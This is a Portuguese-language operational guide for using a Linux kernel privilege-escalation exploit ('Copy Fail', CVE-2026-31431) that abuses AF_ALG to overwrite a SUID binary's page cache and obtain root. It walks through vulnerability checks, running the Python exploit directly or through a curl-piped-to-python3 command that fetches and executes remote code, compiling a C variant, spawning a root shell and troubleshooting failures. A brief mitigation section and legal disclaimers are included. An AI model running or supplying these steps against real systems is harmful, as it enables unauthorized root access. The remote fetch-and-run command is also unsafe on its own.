Copy Fail (CVE-2026-31431) – Guia de Uso do Exploit

⚠️ Aviso Legal

Este conteúdo é apenas para fins educacionais e de testes de segurança autorizados. NÃO execute isso em sistemas sem permissão explícita.

---

📌 Visão Geral

Copy Fail (CVE-2026-31431) é uma vulnerabilidade de Escalação Local de Privilégios (LPE) no Linux que afeta a API de criptografia do kernel via AF_ALG.

Ela permite que um usuário sem privilégios sobrescreva dados do cache de páginas de um binário SUID (ex.: /usr/bin/su) e obtenha acesso root.

---

🧠 Requisitos

Requisitos do Sistema

• Kernel Linux (vulnerável – depende do status do patch)
• AF_ALG habilitado
• Módulo algif_aead carregado

Requisitos do Exploit em Python

• Python 3.10+
• Suporte para:
  • os.splice
  • socket(AF_ALG)

---

🔍 Verificando a Vulnerabilidade

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Indicadores esperados:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead carregado

---

🐍 Executando o Exploit em Python

1. Executar diretamente

python3 copy_fail_exp.py

2. Ou via curl (se hospedado remotamente)

curl https://copy.fail/exp | python3

3. Acionar shell root

su
id

Resultado esperado:

uid=0(root)

---

⚠️ Problemas Comuns (Python)

❌ Erro: os.splice not found

Causa:

• Versão do Python < 3.10
• Build restrito

Solução:

• Use um binário Python mais recente
• Envie um interpretador Python estático

---

⚙️ Compilando a Versão em C

1. Compilar

gcc copy_fail_exp.c -o copy_fail

2. Tornar executável

chmod +x copy_fail

3. Executar o exploit

./copy_fail
su

---

⚠️ Problemas Comuns (C)

❌ O exploit executa, mas não obtém root

Possíveis causas:

• Kernel corrigido
• Offsets incorretos
• Incompatibilidade de ambiente

❌ Erros de compilação

Instale as ferramentas necessárias:

apt update && apt install build-essential

---

🧪 Solução de Problemas

Verificar se o sistema está corrigido

dmesg | grep -i alg

Verificar o módulo

lsmod | grep algif_aead

---

🛡️ Mitigação

Desabilitar o módulo vulnerável

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Aplicar patch do kernel

Atualize seu sistema:

apt update && apt upgrade

---

📌 Notas

• O exploit modifica apenas o cache de páginas (não persistente)
• Requer acesso local
• Não explorável remotamente por padrão

---

🧠 Consideração Final

Se o exploit falhar, considere:

• Kernel já corrigido
• Restrições de ambiente
• Vetores alternativos de escalada de privilégios (SUID, capabilities, má configuração do sudo)

---

📚 Referências

• https://copy.fail/
• CVE-2026-31431

---

👨‍💻 Notas do Autor

Use este exploit com responsabilidade apenas em laboratórios, CTFs e testes de penetração autorizados.